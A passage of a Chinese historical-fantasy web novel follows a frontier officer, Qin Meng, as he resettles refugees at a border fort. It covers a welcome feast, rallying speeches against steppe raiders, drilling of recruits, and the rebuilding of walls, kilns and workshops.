那是陈月娘早上塞给他的,还残留着余温。小女孩的眼睛瞬间亮了,却不敢伸手,只是眼巴巴地看着哥哥。
“拿着吧。”秦猛的声音软了些:“去登记,就说你是我推荐的管队幕僚,以后教军汉们识字。”
“管队幕僚?”书生愣了愣,突然“扑通”跪下,拉着妹妹一起磕头:“谢大人,谢秦大人收留。”
“我诸葛风誓不忘大人活命之恩。”
书生额头磕在冻土上,发出沉闷的响声。
“呃…诸葛?”秦猛眼皮一跳,他忽地想到蜀汉丞相诸葛亮,那可是华夏三国乱世中的牛人。
诸葛,是聪明的代名词!
希望这个异界诸葛,也有几把刷子。
秦猛上前将兄妹俩搀扶。好人做到底,亲自带着他俩去登记,又唤军汉送来满满两碗浓粥。
泥窝子外面,队伍已经排得望不到头。
粮车的轱辘声、壮汉的吆喝声,工匠的自吹声,孩子的笑声混杂在一起,却奇异地透着一股生机。
秦大壮拿着名册挨个登记,粗糙的手指在纸上歪歪扭扭地画着记号,哈出的白气模糊了视线。
吃了两大碗粥的诸葛风目睹,自告奋勇地帮忙。
秦大壮得以脱身,凑到秦猛身边,声音里带着担忧:“猛子,孩子不算,都快两百人了。”
“人多了,军堡住不下呀!”
秦猛望着渐起的炊烟,眼神坚定,笃定地说道:“再收纳百八十人,房子不够,就盖新的,这种绝境中活下来的人,最适合融入军堡。”
“好吧!”秦大壮咬出了牙花子。
李山,张富贵带队维持治安,并初步筛选确认匠人的手艺,讲解小南河堡的地理位置。
——时刻面临着鞑子袭扰,不想去的绝不强留。
……
午后的驿道上,一支奇特的队伍正缓缓前行。最前是秦猛亲率的堡兵,铁甲在阳光下闪着冷光。
中间是满载粮食和物资的大车,共计30辆大车,车轮碾过冻土的声响在寂静的夜里格外清晰。
最后是扶老携幼的流民,脚步踉跄却坚定,像一条在黑暗中蠕动的长蛇,朝着希望的方向延伸。
一个抱着孩子的妇人突然停住脚步,回头望向城寨的方向。
那里曾是他们的绝望之地,如今却被远远抛在身后。
她的丈夫在半个月前冻死在城墙根下,临死前,手里还攥着一块希望能换半个窝头的破布。
“娘,我们去哪?”孩子揉着惺忪的睡眼,小脑袋在母亲怀里蹭了蹭。
妇人擦了擦眼角的泪,声音带着前所未有的坚定:“我们去新家,去能吃饱饭、能活下去的地方。”
“猛子,这数百张嘴,每人一天最少两斤粮。”秦大壮看着流民队伍,眉头拧成了疙瘩。
“堡里存粮加新领的军粮,满打满算,顶多撑一个月。”
秦猛闻言侧过脸,露出笃定的笑:“不用担心,粮食不会缺。回堡之后,你和王老保长只管安顿好这些人,稳住人心,其他的交给我。”
“后面车队不是运了上千石粮食么?”他目光投向远方隐现的南河堡轮廓,声音低沉却斩钉截铁。
从刘家搜刮的黄金八百多两,白银过万两,金银器皿堆积,以及三万多两银票是他底气所在!
“哦,你买粮的钱哪来的?”秦大壮后知后觉。
“魏将军私下给的,说是我父亲生前寄存之物。”秦猛脸颊抽搐几下,随便找理由敷衍。
“是这样?”秦大壮发愣,挠了挠头。
……
秦大壮早就派人快马回到居民堡,清扫粮仓。
黄昏时分,队伍出现在铺堡视野中时,箭楼号角响起。
堡民们纷纷涌至堡门口,整个边堡炸开了锅!
“哎哟,那不是猛子哥吗?”
“他身后,怎地跟着这么多大车?”
“听说了吗?二愣子成管队官了,杀鞑子升的官!”
昔日被孩子追着喊“二愣子”的憨娃,如今成了手握实权的军官。
堡民们扒着寨墙,敬畏、疑惑、狂喜在脸上交织。
有上了年纪的老人大笑,甚至有人对着队伍磕头:“秦家的天罡虎气重现,要护着咱们了。”
在堡民议论声中,秦猛勒住马缰,看着一张张熟悉的面孔。
张富贵的婆娘带着仨孩子在等。
隔壁王婶,杂货铺刘婆子踮着脚张望。
陈月娘和秦小芸站在人群靠前的位置,当看到秦猛时,陈月娘的肩膀轻轻颤抖了一下,
秦小芸则兴奋地挥起手,喊着:“哥,哥,我们在这!”
“乡亲们。”秦大壮拍马上前,扯开嗓子大声吆喝:“蒙魏将军重视,小南河堡重新设立管队官。猛子,不,秦管队上任,大伙欢迎呐!”
“嗷……”堡民们沸腾了,欢欣鼓舞。
秦猛挥手,与乡亲们示意,下令打开粮仓。青壮汉子蜂拥而出,扛着麻袋把粮食送入堡仓。
村堡管理户籍的老保长王槐看着粮车进仓,浑浊的眼睛亮得惊人,山羊胡须一翘一翘的。
“好,好啊!咱小南河堡户数总算有了盼头。快,把空着的铺屋腾出来,先给匠人及妇孺住!”
老保长的激动是发自肺腑的。
小南河堡是南河城寨最早的军堡,称为本堡。以前也曾风光过,人口过千,设堡主及衙署。
自从两年前,大队鞑子骤然来袭。
小南河堡两百户人家十不存二三,至今还未恢复。
人数少,军堡防御力量薄弱,容易在劫掠中被摧毁。流民涌入,人口得到补充,何等重要?
“兵丁去营房,劳力打地铺凑合,多余棉被拿来暂用,妇人生火熬粥,都别愣着,快去啊!”王保长看向堡民们,几乎是吼出来的。
流民们看着眼前的景象,脚步不由地加快了。
他们能感受南河堡民的善意,能闻到空气中飘来的饭香,能体会到那种久违的、名为“家”的暖意。
第12章 篝火与新生
夜幕沉沉压下,南河堡的打谷场上。
几堆篝火“噼啪”作响,奋力驱散着冬夜的寒意。
跳跃的火焰,映亮了围聚在旁的数百张脸庞——焦黄、枯瘦、深陷的眼窝里满是对生存的渴望。
里口行军大锅架在火堆上,锅盖压抑不住“咕嘟咕嘟”的沸腾声。
浓稠的汤水中,大块油亮的肥猪肉载沉载浮,油脂翻滚,喷涌出令人几欲疯狂的霸道香气。
竹叉上串着的肉条被火焰舔舐得焦黄冒油。
“滋啦——滋啦——”,
油脂滴落火中,腾起的青烟都带着令人窒息的美味。
孩子们紧紧攥着豁口的破陶碗,小脸和鼻尖冻得通红,双眼却像被钉死在那翻滚的肉块上,喉头不断滚动,清亮的口水无声地淌过下巴。
秦猛一脚踏上冰冷的石碾。篝火将他魁梧的身影猛地拉长,投在躁动的人群之上,宛如一尊铁铸的战神。
他声音不高,却像浸了冰渣的铁砣,字字砸向场中:“排好队,不要争抢。今晚是给你们的接风宴,人人有份,每人半碗肉,稠粥管够!”
人群瞬间嗡动,有人不自觉往前挤。
“放肆!”秦猛眼神陡然一厉,如同冰锥,手指狠狠戳向堡墙外吞噬一切的黑暗深渊。
“谁敢拥挤、插队、哄抢,坏了堡里的铁规——立刻,滚出去!”
冰冷的咆哮,伴随李山、张富贵等军汉轰然踏步上前的铁甲碰撞声,如同重锤砸在所有人心上。
刚刚升起的骚动戛然而止。
流民们惊恐地攥紧碗筷,大气不敢出。几个孩子吓得缩进母亲怀里,抽噎声都被死死捂住。
秦猛冷冷扫过噤若寒蝉的人群。
他打完了棍子,甜枣紧接着抛下:“安分守己,踏实干活,秦某保你们吃饱穿暖,活下去。
三天后,养好身体吃干饭,干得好,立了功。
——有肉,有粮,更有银钱犒赏。”
“秦大人活命之恩,谢大人再造之恩!”
流民中,书生诸葛风激动的声音发颤,率先高呼。
人群仿佛被点醒,不少人拜倒在地,感激涕零的呼喊此起彼伏,声浪甚至压过了篝火的燃烧。
“不许跪!”秦猛断喝,满意挥手:“都起来,排队!”
饥肠辘辘的人群爆发出难以置信的克制力,迅速排成长龙。堡中妇人持勺吆喝,热情中带着自豪。
秦猛站在高处,看着一张张排队领食的脸庞。疲惫、茫然甚至恐惧犹存,但嗅着那直冲灵魂的肉香,每个人眼底深处,都燃起微弱却灼热的火苗。
一个衣衫褴褛,十来岁的男孩夹杂在队伍中。
他怀里一直揣着母亲临终前塞给他的半截干硬的麦糠饼。可此刻那块黑饼早被忘在脑后。
男孩眼睛直勾勾盯着打饭妇人舀起的每一勺肉。
他叫石头,手中的陶碗边缘豁了个三角口,却被他攥得发热,妇人见他小,多打了不少肉。
这是石头三天来第一次捧到温热的东西——粗瓷碗中有大半碗炖肉,米粥稠得能立住筷子。
热气蒸腾着扑在他冻得通红的小脸上,湿了眼眶。
五岁那年,父亲被拉去打鞑子的那天也是这样冷的冬天,临走前塞给他的馒头还冒着热气。
母亲操劳过度,咳着血躺在床上时,总是安慰他说“等秋天就有新米了“,可她始终没等到。
“娘…娘,你多撑几天就能活。”石头热泪盈眶。
现在瓷碗烫得灼手,他鼓起冻得发僵的腮帮子拼命吹气,呼出的白气混着肉香飘进鼻腔。
他小心翼翼啜了一小口,滚烫的米粥滑过喉咙,带着猪油的荤香和米粒的清甜在舌尖炸开。
这味道让他想起父亲做的肉粥,想起母亲用粗布巾擦他嘴角的温度。
烫意模糊了视线。
可石头嘴角却忍不住咧开。
他赶紧用脏兮兮的手背抹了把脸,把快要掉下来的泪珠蹭在袖口上,然后捧着碗蹲在篝火边,小口小口地喝着,每一口都舍不得咽下。
碗中的肉块他要留到最后,就像母亲教他的那样,把最好的留到最后慢慢吃。其实是小男孩想念着母亲,想把碗里的炖肉分给她吃……
范良的手抖得厉害,竹筷夹着一块五花肉在碗里晃悠,油星子滴在粥面上晕开小小的圈。
他盯着那块肥瘦相间的肉,喉头滚动了两下,喉结像生锈的铁环般艰难滑动。
这油汪汪的样子,让他想起前年在花炮作坊时,监工奖赏的那碗红烧肉。
——那时他还是作坊里最抢手的花炮师傅,制作出来的烟花最是绚丽,送到京城最抢手。
可他性格使然,太犟了。
监工要他偷工减料用劣质硝石制炮。
他梗着脖子说“炮炸了要死人“,坚决不做那种事,吵到最后,被架着扔出了作坊。
夏收时节鞑子踏平集镇的那天,他正挑着工具箱找活计,马蹄声震碎了瓦檐,也震碎了他最后的念想。
逃亡路上,他把工具箱当了换干粮,把棉袄扒了换活命的水,一路靠挖野菜、啃树皮活到现在。
五花肉终于送进嘴里,牙齿刚碰到油脂,那熟悉的肥美就在舌尖炸开。是肉香,是烟火气,是安稳日子里才有的味道。
这味道让他想起作坊里的硝烟味,想起妻子用围裙擦他手上油污的柔软触感,也想起大队鞑子兵过后,从捣毁的小镇上找到妻子的尸体……
“呜呜……”
范良干涩的眼眶突然一热,浑浊的泪水毫无预兆地涌出来,顺着布满沟壑的脸颊滚进碗里。
他赶紧低下头,借着喝粥的动作把哽咽咽下去,任由泪水滴落不擦拭,混着米粥一起咽下。
这口肉,是他逃亡路上第一次尝到的荤腥,也是他以为再也尝不到的、婆娘做出的滋味……
南河城寨泥窝子,凡是从边陲军堡,村坊逃出来的,哪一个不是与草原鞑子有着血海深仇。
这一顿有滋有味的肉菜,让许多人想起了家和亲人。
往事历历在目,人人红了眼眶,潸然泪下。
“谢…谢大人赏饭!”数百个喉咙哽咽着,粗瓷大碗被紧紧抱在怀里,像是抱着重获生命的凭证。
他们仰望着石碾上那个身影,目光中饱含着无以言表的感激,是这位大人给了他们新生。
秦猛感受着这份沉甸甸的依赖,无声地点点头。
乱世之中,一饭之恩,足以换来比黄金更重的忠诚。
篝火旁,陈月娘和秦小芸带着堡里的妇人忙碌地翻烤着肉串。火光跳跃,映红了她俩的脸。
周围的妇人们早已聚拢过来,目光粘在两人身上,话题全绕着秦猛和这姐妹俩,羡慕几乎要溢出眼眶。
“月娘啊,猛哥儿如今是官身了,这婚事可得快着点!”
“可不是嘛!这般英武能干的后生,祖坟都得冒青烟才能撞上!”
“开春儿,让老保长去说合,定要八抬大轿,风风光光地迎你进门……”
陈月娘恍若未闻,痴痴的目光穿过跳跃的篝火,落在那个熟悉却又陌生的挺拔背影上。
火光为他冷硬的铁甲染成金色,昔日憨实沉默的少年郎,如今已是手握生杀、统领一堡的男儿汉。
她手指无意识绞紧了衣角,脸颊滚烫。
秦小芸兴奋地拉着她的胳膊晃:“姐,看见没?哥多威风。以后啊,咱们再不用怕那些坏人了!”
“嗯…”陈月娘低应一声,目光始终无法移开。
幼时秦猛虽憨傻,却怕她吃不饱,总偷偷塞来饼子,鞑子袭来时!他挡在身前的宽厚脊背……
一幕幕在眼前交织。
他变了,如同脱胎换骨般。带着粮食,带着刀枪,带着在这荒凉边地重建家园、抵御强敌的力量。
秦猛仿佛感受到了那道炽热的目光,蓦地回头。
彼此目光相遇的刹那!
陈月娘回过神来,如受惊的小鹿慌忙垂首,一张脸红到了耳朵根,心脏擂鼓般撞击着胸腔。
秦猛嘴角不易察觉地柔和了一瞬,随即又化作肃然。
“哎哟,小芸丫头,瞅你这瘦的!明个儿婶子给你炖只老母鸡补补!”
王婶子一把拉过秦小芸的手,稀罕地摩挲着。
她转头又殷切地看向陈月娘:“月娘啊,给猛哥儿透个话儿……俺那两个娘家侄儿,身板结实着呢,想投军……求管队官多照应……”
旁边开着杂货铺的刘婆子也凑上来。
一反平日斤斤计较的刻薄,她如变戏法似的掏出两小盒胭脂水粉塞给秦小芸和陈月娘。
“乖乖!瞧这姐妹俩水灵的,姐姐天生就是官夫人的贵气相,清水芙蓉,也需细柳扶风。
妹妹这眉眼啊,长开了定是个大美人。该用好东西,可别委屈咯!”
周遭妇人婆子连声附和:“就是,月娘啊,苦日子熬到头喽!猛哥儿有本事,说不准这堡主大印也……”
陈月娘脸颊更红,心乱如麻,却也有股暖流在心头涌动。
夜色更深,篝火却越燃越旺。
铁锅里肉汤的翻滚声,烤肉的滋滋声,米粥的浓稠热气。
孩子们咬着滚烫肉块的“嘶哈”满足声,男人低声议论的嗡嗡声,妇人们细碎的笑语声交织缠绕,在这片刚刚从死寂中复苏的土地上。
第13章 铁血聚人心
“铛——!”李山猛地敲响铜锣,声震四野。
“诸位安静,秦管队有话要说!”
喧闹瞬间凝固,篝火燃烧的“噼啪”声再次成为主角。
“都听好了!”秦猛放下碗,再次跃上石碾。
他需要趁热打铁,将这股滔天怒火和刚刚燃起的微薄希望,用规矩锻造成可以依靠的力量。
火光照亮秦猛坚毅的脸庞,声音带着金属碰撞的铮铮锐响:
“从今日起,尔等姓名登籍造册,便是我南河堡之民。
守土杀鞑子,安防戍边,人人有责。
拓荒耕种,分田安家,人人有份!
“本官不问过往,但入我堡门,便需遵我堡规。”秦猛深吸一口凛冽刺骨的寒气,话语一转。
他那如刀锋般锐利的目光缓缓扫过场下每一张脸,从狂热的青壮,到好奇的妇孺,再到犹疑的老人。
铁律三点:令出必行,生死与共,对敌须狠。可曾听清?”最后四字如惊雷炸响,撕裂寒夜。
“听清了!”场下爆发出参差不齐却竭尽全力的吼声。
“好!”秦猛右臂猛然高扬,戟指北方幽暗的界河方向,声震四野:
“界河之北,便是毁我家园、杀我父母、辱我姊妹的草原豺狼。
吾等流落至此,谁人不是血仇在身?
堡中乡亲,哪一家不是血泪斑斑,仇深似海?”
“嗡——”人群死寂被瞬间打破。
压抑的呜咽、悲愤的低泣声如潮泛起。
张富贵双目赤红如血,双拳捏得咯咯作响,老父死于马蹄的惨景历历在目。
李铁匠咬碎钢牙,王婶泪眼模糊,幼子被劈成两半的噩梦再次撕裂心扉。
无数道目光喷射出刻骨恨火。
秦猛的声音如同淬火的战锤,重重擂在每个人心上:“记住!人善被人欺,马善被人骑——
对豺狼施仁义,便是对至亲的残忍。
鞑子死性不改,磨刀霍霍,冬季随时会越境袭骚。
想活?想复仇?”他声如裂帛,“那就挺直脊梁,握紧手中刀枪,与身边袍泽,结为一体——”
他话音未落,张富贵、李铁匠的狂吼已如火山喷发。
“杀敌杀鞑子,护我家园!”
“杀,杀鞑子,护我家园!”
数百个喉咙迸发出带着血腥味的狂啸,吼声撕裂寒夜。震得篝火疯狂摇曳,火星冲天而起。
秦猛立于石碾之上,身姿如枪。篝火的烈焰映红了他冷硬的面庞,也点燃了数百双绝望眼中复仇的火焰。
人群的怒吼仿佛唤醒了这座伤痕累累的堡垒。
小南河堡沧桑的轮廓在冲天的火光与呐喊中,如同一头沉寂已久的猛兽,朝着北方无边的黑暗,发出了它倔强而凶悍的第一声咆哮!
不远处的界河,水声隆隆,奔腾不息,似在呼应着这片饱经摧残的土地上,那重新燃起的、不屈的生命之火。
篝火灼灼,群情激荡。
怒吼声在打谷场上空久久回荡。
每一声“杀鞑子,护我家园!”都像滚烫的烙印,狠狠砸进在场所有人的身体里、灵魂深处。
吼声暂时停歇,只有粗重的喘息和篝火的噼啪声交织,空气中弥漫着一种近乎燃烧的狂热气场。
协助登记户籍造册的诸葛风,此刻笔尖微顿,抬头望着火光中如同礁石般屹立的秦猛,又环视周围一张张因仇恨和希望而扭曲变形的脸庞。
他心中暗叹:“大周建国至今,承平日久,文恬武嬉,繁华尽被朱门歌舞掩。
唯有这边陲炼狱之地,方知民气如薪,血性未死。圣贤之道,仁义之说,于此地……不抵刀锋半分!”
诸葛风家逢巨变,流离千里,携妹北上投军。北境惨状已将他昔日的书生意气碾得粉碎。
此刻,这震天的杀声,反而让他感到一种扭曲的安心。
在这边陲之地,靠耍嘴皮子,扯知乎者也可打退不了鞑子。唯有杀戮,才能争一条生路!
秦猛平复心头激荡,声线再次转为钢铁般冰冷,压下了沸腾的吼声:“边陲苦寒,活命不易。
想活,就得耕战时拿起锄头,战时抡起刀枪。
一入南河堡,便与堡同生死。欲苟且偷生者——”
他鹰隼般的目光扫过每一个人,停顿了片刻,每个字都砸出清晰的烙印:“吃完这顿饭,立马滚。滚回城寨窝棚,自生自灭,秦某绝不阻拦。
然战时怯阵,临敌退缩,坏我军心堡规者——杀无赦!
冰冷的三个字,配上他那张在火光映照下如同铁铸般毫无表情的脸,以及一旁按刀而立的李山、张富贵等杀气腾腾的甲士,形成巨大的震慑力。
一股实质性的杀气笼罩全场!
“本官被上官授便宜行事之权,可先斩后奏!皇权特许。”
秦猛的声音带着某种残酷的、不容置疑的宣告。“尔等——给老子牢牢刻在心上,莫要忘了。”
场中针落可闻。篝火燃烧的“噼啪”声被无限放大。
许多人下意识地屏住呼吸,脸色苍白。
但出奇的是,先前那些犹疑的目光反而渐渐稳定下来,恐惧被一种奇异的安定感取代。
是的,冷酷,但清晰,铁一样的秩序,在这朝不保夕的绝境,反而成为最可靠的支柱。
他们以后不再流浪,不再是等待施舍的流民,而是被纳入一种强悍生存规则的“堡民”。
他们捧着滚烫的碗,望着石碾上那傲然挺立的身影,仿佛迷航的孤舟找到了坚定的礁岸。哪怕这礁岸被冰冷的兵戈所环绕,却有着希望。
“明日始,全体上阵,堡务立规。
张富贵、李山、刘铁柱,分任什长,统辖训练、巡防、守备。
王槐保长总管人事丁口,调度指挥。
李根生领衔匠户,重开匠器作坊,督造铁器兵刃。
王翠花负责裁缝铺,缝补衣袄,皮甲。
诸葛风协助王保长,木匠,泥瓦匠等日后杰出者任命。只要有能力,谋份差事,多份粮饷。”
秦猛雷厉风行,迅速宣布人事安排。
王保长、李铁匠夫妇、张富贵,李山等人一一上前,于火光前肃立领命。
蓝袍书生诸葛风被人推出来,引得众人哄笑。
而这个流民中的穷书生,无疑是最好的案例。让不少人眼里光芒闪烁,好好干,就能被提拔。
秦猛不屑于解释,继续下达最后一条命令:“今夜,尔等吃饱睡好,明日天亮,全军开拔。
壮丁训练备战,劳役拓荒筑寨。
须在雪冻冰封之前,竖起屋宇,圈起田亩。此乃我等新生之基,为家园,为活路,拼了。”
“为家园!为活路!拼了!”
积蓄已久的情绪找到了宣泄口,吼声震天动地。
篝火熊熊燃烧,跳跃的火光中,一张张疲惫的脸庞被希望点燃,爆发出前所未有的光芒与力量。
南河堡沧桑的轮廓,在冲天的火光与呐喊中,如同一头猛兽向着无边暗夜发出了它倔强的咆哮。
界河水声隆隆,似在呼应这片土地上重新燃起的不屈之火。
秦猛望着这浴火重生的景象,深知任重道远。
凛冬未尽,强敌在畔,荆棘满途。
界河冰封之日,必是血战来临之时!
时间,从未如此紧迫!
他目光再次投向北方那无边的黑暗,眼神坚定。瞳孔深处锐利如刀锋,战意汹涌翻腾。
南河堡的新生,才刚刚拉开序幕!
第14章 军堡大跃进
凛冽的朔风刮过这沉寂已久的南河堡。厚重的霜花覆在残破的土墙上,反射着初晨微弱的曦光。
然而,这死寂般的冰冷之下,一头蛰伏的猛兽苏醒了。
天还蒙蒙亮,寒气刺骨。
秦猛,这个曾沉默呆愣的二愣子,如今南河堡的主心骨,如青松般立在打谷场上,身前集结起一支队伍。
李山、张富贵等十多个战兵。
五十多名面色或忐忑、或麻木,刚被招募来的流民青壮。他们衣衫单薄,在寒风中缩着脖子,眼神却因近日难得的温饱和一丝渺茫希望而变得不同。
“列队!”秦猛的声音不高却像重锤砸在凝滞的晨雾里。带着不容置疑的威严。“散开!每人间隔两尺半(约80厘米),前后对正,左右看齐!”
一阵杂乱的挪动。
新来的汉子们显然不明白站个位置有何用,甚至李山等老军汉也难掩眼中的茫然。
这人都他妈快冻僵了,不该抡几趟刀、跑两圈暖和身子吗?
当这群人勉强站成一个歪歪扭扭的方阵后,秦猛亲自走过去拉拽纠正,总算有了一点样子。随后他下达了一个令所有人愕然的命令。
“站着不准动!”
“别看这站立的动作很简单,实际上却很难。这种动作能磨炼你们的意志,增强军队的纪律性。”
秦猛亲自示范。
两脚分开六十度,两腿挺直,紧贴裤缝。收腹、挺胸、抬头、目视前方!
如同一杆标枪,身体重心微微前倾,下颚微收,整个姿态瞬间透出一股不动如山的凝练杀气。
“就这么站着,没有命令,谁动,卷铺盖滚蛋!”
这要求简直是儿戏吗?
站着一动不动就能退敌了?
疑惑的情绪滋生在冰冷的空气中弥漫。
有人悄悄放松肩膀,有人忍不住想跺跺脚上积攒的寒气。但看到秦猛冷冷的目光,无人敢动。
然而,寒意很快被另一种更加深刻的感觉覆盖。
初时还好,只是冷。
几分钟后,最虚弱的汉子开始感觉膝盖酸胀。
一刻钟过去,酸胀变成了酸痛,像有小虫在骨头缝里啃咬,不少人额头竟沁出细密的汗珠——
不是热,是筋肉紧绷到极限的僵冷反应。
身体素质差的人已经双腿哆嗦,咬紧嘴唇坚持着。他们不敢动,因为不想被淘汰驱逐这个吃饱饭的地方,二来主官,秦猛站在那里!
这位军堡管队官,比他们站得更久、更直、更稳!
他额头同样渗出汗珠,脸颊同样因寒冷和用力而显得棱角分明,但那股由内而外迸发出的意志,如同火焰灼烤着每一个动摇的灵魂。
质疑?
轻视?
早已被沉重的身体感受和他以身作则的强悍碾得粉碎。
取代的是惊愕、是羞愧、是对“纪律”二字模糊却沉重的初体验。
秦管队的话,原来真不是空口白牙。
又过了半刻钟,几个人坚持不住,踉跄差点摔倒。却又赶忙并拢双腿,生怕被赶出军堡。
“停,休息一刻钟。”
秦猛看到大多人浑身哆嗦着,心里却比较满意。知道过犹不及的道理,声音适时响起,打破了这濒临崩溃的静默。
人群轰然松懈,发出压抑不住的喘息和呻吟,有人甚至踉跄跌倒。
早有等在旁边的妇人和半大孩子送上温水和糙面饼子。短暂的休整至关重要,能够让他们恢复体力,逐渐适应。
上午剩下的时间,便在“站—休息—再站”的循环中悄然流逝。
每一次重新站起,那方阵都肉眼可见地挺拔了一分,晃动少了一丝。
李山等老兵在内所有人,再看向中途从未休息的秦猛时目光彻底变了,那份敬畏深植于心。
当正午的太阳终于带来稍许暖意,收队的号令响起时,所有人无一例外迈着酸胀颤抖的双腿,脸上却再无半分轻慢,只有下意识的凝重。
无形的力量在他们麻木的身体里扎下了根。唯一的弊端就是刚开始训练,人人饭量激增......
午饭后,训练转向更贴近实用的肌肉放松训练,体能打磨。
慢跑热身,负重奔跑,蛙跳......
秦猛依旧身先士卒,做出榜样训练,激励着兵卒,每一滴汗水都融入这片渴望振兴的土地。
南河堡,打谷场上杀声渐起之时,秦大壮带着铺堡的核心战力镇守燧堡,同样展开严苛训练。
——是秦猛抽时间过去,亦是这般严苛要求。
军堡是真的展开了大练兵!
老保长王槐则负责统筹调度,根据各自的特长,把昨天招募来的流民合理地安置。
堡内器械,粮食入库、支出,特意安排了帐房记录......
叮叮当当——!
铁匠作坊,多处炉火首次燃起,映红了半边天。铁匠们抡锤锻打箭头,火星四溅如烟花,铁蒺藜、枪头,锄头等器具在砧上渐次成型。
隔壁的木匠区,工匠手持墨斗和尺规,精准划线,熟练拉锯。在隆隆的锯木声、刨削声中,箭杆、硬木柄,望楼骨架在刨花中诞生。
缝补区则是一片低伏的火热。数十妇人埋头苦干,她们用粗麻线,块状皮革,修补着破损的皮甲、磨破的军服,针脚藏着安稳期盼。
外堡墙头,泥瓦匠们更是在寒风中争分夺秒。
“豁口!先堵这个豁口!”断砖被快速清理,大块方石垒砌,最让人惊叹的是那几桶冒着热气、散发着米香的糯米浆。
——这是王保长咬牙才拿出的堡里存粮熬成的。
泥匠小心翼翼地将滚烫粘稠的浆糊搅拌进草泥中,仔细灌入砖石缝隙。
那混合着干草与米糊的温润泥浆,如同堡垒流淌的血液,一点点愈合着伤口。
填充之处,不仅更坚固,更透着一股宁舍粮草也保屏障的决绝。
真正的战略大动作在堡外悄然展开。
秦大壮带领几名风尘仆仆的老窑工,在南河堡外隐秘的山坳里,对那几座早已被遗忘的野窑旧址发起了“突袭”。
他们挥汗如雨,清理着倒塌的窑口,疏通烟道。后生们奋力挖取着优质陶土,堆成小山。
破损的窑炉在老匠的巧手下,用特调的耐火泥快速修补弥合。
“快,备柴火,阴干泥坯!”秦大壮声音透着急切。
他们要在最短时间内重燃炉火,这不仅关乎日后更大规模的砖瓦烧制来加固围墙、建造砖房,更是重启陶器制造的关键一步。
——没有陶罐,如何大规模存粮储水?没有砖块,没有瓦片,如何维持军堡扩建后的防御力?
这重启的窑火,是维持长久战斗力的生命线。
而堡外的荒野上,开垦与建设同样如火如荼。壮劳力在经验丰富的老工匠指挥下,分工协作。
“流民新区”:紧贴峭壁的“葫芦口”地形处,地面被一遍遍泼水、夯实。
一排排简陋但实用的窝棚正以惊人的速度搭建起来。
这不仅是安置点,更是秦猛苦心设计的前沿缓冲区和预警点。
窝棚本身结构巧妙,方便撤离,而其位置使得游骑无法轻易包抄堡垒侧翼,形成“栓住口袋嘴”的关键屏障。
奔腾的南河水此时也变得珍贵。
河滩旁,硬如钢铁的冻土被汉子们用大锤和铁钎艰难地开凿、撬动。
杂树根被刨出,石头被搬走。
当那饱含腐殖质、近乎黑褐色的肥沃土壤显露出来时,引来无数期盼的目光。
一个须发花白的老农蹲在刚开出的地头,抓了一把土在手,仔细捻开,嗅了嗅,又舔了一下。
他眼中放出光:“好土哇!肥得流油,就这天寒地冻的不敢深翻,待开春化冻,一亩喂足粪肥,再引这活水h自流灌溉,收成差不了。”
但也有人忧虑地看着冻土进度:“这冻太厚,破开费老劲了。”
旁边的汉子抹了把汗,嘶吼道:“豁出命也要开,这开出的,可是活命的根本,明年的指望!”
“秦大人有令,收集腐败树叶铺满烧,好清理一些。”王老保长带人送水,也带来好消息。
……
短短几日,南河堡已气象焕新,令人瞠目:
堡墙不仅加固增厚,原有残破的箭楼已修缮完毕,木石狰狞。
更显眼的是那几座拔地而起的新望楼骨架坚实,傲然耸立。立于其上,荒原尽收眼底,任何风吹草动都难逃法眼。
堡内喧闹异常,人气鼎沸。
清理出的铺屋挤满了流民,门窗紧闭的空荡屋子如今也飘出了烟火气和人声。
铺屋尽管勉强容纳核心人员,但却依托堡垒外墙,大量茅草窝棚也成了干柴草料等物资堆放点。
除了铁匠作坊,木工坊两大核心工坊。几天来,花炮师傅范良被秦猛看重,如璞玉般对待。
不仅给出优厚待遇,更是严格划出僻静角落,这位老师傅带人在小心地分碾土硝、硫磺和木炭……
年轻大夫唐博,这位祖上是太医院医官的小伙子,也被秦猛重用任命为军堡医官,任由他挑选人员,组建南河堡医疗所,在治病救人。
除此之外,泥瓦匠,砖窑场,种植,饲养,酿酒等方面陆续有优秀人员涌现,跃升军堡基础管理层,领着各小组人员,奋斗在第一线。
……
第15章 危机中的商机
十一月,初。
北风卷着沙砾呼啸而过,南河堡的寒意又添了三分。
天刚蒙蒙亮,军堡营地的号角便撕裂了晨雾。
“集结,列队!”
“报数——一,二,三,四……”
数十名军卒在营地校场上迅速列阵。
刘铁柱身着劲装立于队前,厉声纠正着队列细节。
这支曾连左右都分不清的队伍,如今脚步声踏得地面微微发颤,队列齐整间已显军伍气象。
人人挨打,个个加练,令他们有动力的是,每日饱食让他们面色红润,灰色冬装外罩着厚重皮甲,昂首迎风而立时,再无流民的颓态。
——真正有了军卒的模样。
南河堡军队老兵三十余人,新兵七十,共百人。
按三队轮值,白日操练、夜间执勤。
秦猛融合前世经验与冷兵器时代特点,定下严苛章法:上午列阵出操,下午体能训练与搏杀对战。
他特意挑出刘铁柱、张富贵等十余人做亲兵,亲自传授搏杀技巧,再由亲兵转教普通军卒与少年队。
少年队是十岁以上的半大小子组成。
(这古代男女结婚早,十四五岁成家并不罕见)
营内终日回荡着呼喝声,彻底取代了往日戍卒的懒散。
前沿烽燧堡也已焕然一新。
匠人带队修缮后,烽台更高更坚,瞭望台添了挡风屏障,堡墙加固,坡下遍布铁蒺藜陷阱。
三十余名军汉铁甲铿锵,哨兵立于瞭望塔上,目光如鹰隼般紧盯着河对岸。
即便是日常训练,也未有半分松懈。
“吃饱穿暖,谁偷奸耍滑,别怪本将无情!”坐镇燧堡的秦大壮,这话至今在风中回荡。
堡垒的变化有目共睹,但背后是资源的海量消耗。堡内六百多张嘴(原住民、流民、新兵及家眷)每日消耗粟米、豆子不下三十石。
军堡粮仓压力如巨石压顶。
幸得常氏粮行的车队冒着寒风霜路,以惊人的效率往来补给,运来的还有铁锭、棉花等物资。
精明的常东家会额外送几头肥猪,这足以让整个堡内弥漫起久违的油荤香气,士气为之一振,流民们归属感渐增,训练,干活更加卖力......
然而,秦猛站在这经过亲手改造、一天比一天坚固的堡墙上,最初的兴奋早已被压力取代。
军堡内外,这副生机勃勃的景象,是他自掏腰包,用海量的银钱、物资和粮食堆砌起来的。
巨额的消耗如同无底深渊。
他终于明白,为何知寨官宁愿看着军堡残破,也不投入修缮,这就是一个吞噬财富的黑洞。
没有朝廷拨款项,个人有心无力。
这亏得是他秦猛做了一票买卖,才有些家底。
每日三十石粮,仅仅是冰山一角!
铁匠铺消耗的铜铁,木匠房优质箭竹,木材、泥瓦匠修缮所需(粘合砖石最有效的糯米浆)
窑场需要的器械,煤料。
